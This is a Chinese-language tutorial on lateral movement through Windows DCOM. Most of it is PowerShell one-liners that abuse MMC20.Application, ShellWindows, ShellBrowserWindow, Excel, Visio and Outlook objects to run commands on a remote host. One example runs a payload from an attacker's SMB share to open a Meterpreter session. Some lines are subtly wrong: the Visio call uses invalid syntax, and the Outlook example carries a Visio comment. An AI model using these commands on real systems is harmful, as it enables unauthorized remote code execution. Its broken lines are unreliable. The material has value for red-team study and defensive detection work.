0x00前言
本文对如何利用 DCOM 进行横向移动的手法进行了总结,希望可以对大家的学习提供一些帮助。
0x01概述
1. COM
COM(Component Object Model,组件对象模型)是微软的一套软件组件的二进制接口标准,使得跨编程语言的进程间通信、动态对象创建成功可能。COM是许多微软产品和技术的基础。
COM 由一组构造规范和组件对象库组成。COM 组件对象通过接口来描述自身,组件提供的所有服务都通过其接口公开。接口实质上是一组函数指针表,每个指针必须初始化指向某个具体的函数体,一个组件对象实现的接口数量没有限制。COM 指定了一个对象模型和编程要求,使 COM 对象能够与其他对象交互。这些对象可以在单个进程中,也可以在其他进程中,甚至可以在远程计算机上。
在 Windows 中,每个 COM 对象都由唯一的 128 位的二进制标识符,即 GUID。当 GUID 用于标识 COM 对象时,被称为 CLSID(类标识符);当它用于标识接口时,被称为 IID(接口标识符)。
2. DCOM
DCOM(Distributed Component Object Model,分布式组件对象模型)是微软基于组件对象模型(COM)的一系列概念和程序接口,支持不同机器上的组件间的通信。利用 DCOM,客户端程序对象能够请求来自网络中另一台计算机上的服务器程序对象。
DCOM 是 COM 的扩展,允许应用程序实例化和访问远程计算机上的 COM 对象的属性和方法。DCOM 使用远程过程调用(RPC)技术将组件对象模型(COM)的功能扩展到本地计算机之外,因此,在远程系统上托管 COM 服务器端的软件(通常在 DLL 或 EXE中)可以通过 RPC 向客户端公开其方法。
0x02通过 DCOM 横向移动
由于部分 DCOM 组件公开的接口中可能包含不安全的方法,所以我们可以利用这些不安全的方法执行命令或程序。
执行命令,列出计算机所有的 DCOM 程序组件。
Get-CimInstance Win32_DCOMApplication//Get-CimInstance 这个cmdle(powershell命令行)默认只在powershell 3.0以上版本中存在,所以只有 Windows server 2012 及以上版本的操作系统才可以使用Get-Ciminstance。
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_DCOMApplication
//Windows 7、Windows Server 2008中默认安装的是powershell 2.0,所以他们都不支持Get-CimInstance,可以用Get-WmiObject命令代替Get-CimInstance。
hacker 可以枚举包含不安全方法的其他 DCOM 对象,并与远程计算机的 DCOM 进行交互,从而实现远程执行。
注意,需要具备以下条件:
- 拥有管理员权限的 Powershell
- 远程主机未开启防火墙
目前,经常利用的 DCOM 组件有 MMC20.Application、ShellWindows、Excel.Application、ShellBrowserWindow 等。
1. MMC20.Application
MMC20.Application 对象的 Document.ActiveView 下存在一个 ExecuteShellCommand 方法,可以用来启动子进程并运行执行的程序或系统命令。
# 创建一个“MMC20.Application”对象的实例
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0.0.1"))
# 枚举这个COM对象中的不同方法和属性
$com.Document.ActiveView | Get-Member
下面以 MMC20.Application 组件为例,在远程主机上执行攻击载荷,并上线 Meterpreter。
① 在一台可控的服务器上搭建 SMB 匿名共享服务,并将生成的攻击载荷放入共享目录
② 在管理员权限的 Powershell 中执行以下命令,通过 MMC20.Application 在远程主机(192.168.220.129)上启动进程,加载 SMB 共享中的攻击载荷并执行:
# 通过 ProgID 与 DCOM 进行远程交互,并创建 MMC20.Application 对象的实例
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.220.129"))
# 调用 ExecuteShellCommand 方法启动进程,以运行攻击载荷
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c \\192.168.220.132\evilsmb\shell.exe","Minimized")
在调用过程中,MMC20.Application 会启动 mmc.exe 进程,通过 ExecuteShellCommand 方法在 mmc.exe 中创建子进程。
注意:适用于 Windows7 及以上版本的系统
2. ShellWindows
ShellWindows 组件提供了 Document.Application.ShellExecute 方法,可以用来启动子进程并运行执行的程序或系统命令,适用于 Windows7 及以上版本的系统。
由于 ShellWindows 对象没有 ProgID,因此需要使用其 CLSID 来创建实例。通过 OleViewDotNet 可以找到 ShellWindows 对象的 CLSID 为 9BA05972-F6A8-11CF-A442-00A0C90A8F39。
在管理员权限为 Powershell 中执行以下命令,即可通过 ShellWindows 在远程主机(192.168.220.129)上启动 calc.exe:
# 通过 CLSID 与 DCOM 进行远程交互,并创建 ShellWindows 对象的实例
$com=[Activator]::CreateInstance([Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"192.168.220.129"))
# 调用 ShellExecute 方法启动子进程
$com.item().Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0)
注意:ShellWindows 并不会创建新进程,而是在已有 explorer.exe 进程中创建并执行子进程。
3. ShellBrowserWindow
ShellBrowserWindow 中也存在一个 Document.Application.shellExecute 方法,与 ShellWindows 一样,不会创建新进程,而是通过已有的 explorer.exe 来托管子进程。
注意:适用于Windows 10和Windows Server 2012 R2等版本的系统
# 通过 CLSID 与 DCOM 进行远程交互,并创建 ShellBrowserWindow 对象的实例
$com = [activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","192.168.220.129"))
# 调用 ShellExecute 方法启动子进程
$com.Document.Application.shellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0)
4. Excel.Application
# 通过PowerShell与DCOM进行远程交互,创建Excel.Application对象的实例:
$com = [activator]::CreateInstance([type]::GetTypeFromprogID("Excel.Application","192.168.220.129")) $com.DisplayAlerts = $false
# 然后执行如下命令,我们就可以调用该对象的"DDEInitiate"方法在远程主机上启动进程: $com.DDEInitiate("cmd.exe","/c calc.exe")
5. Visio.Application
使用条件:目标系统中安装有 Visio
# 通过PowerShell与DCOM进行远程交互,创建Visio.Application对象的实例:
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("Visio.Application","192.168.220.129"))
# 然后执行如下命令,我们就可以调用该对象的"shellExecute"方法在远程主机上启动进程:
$com.[0].Document.Application.shellExecute("calc.exe")
6. Outlook.Application
使用条件:目标主机中安装有 Outlook
# 通过PowerShell与DCOM进行远程交互,创建Visio.Application对象的实例:
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("Outlook.Application","192.168.220.129"))
# 然后执行如下命令,通过Outlook创建Shell.Application对象并执行命令: $com.createObject("Shell.Application").shellExecute("calc.exe")
0x03总结
本文的分享到这就结束了,如有其它更巧妙的利用方式,欢迎私信交流。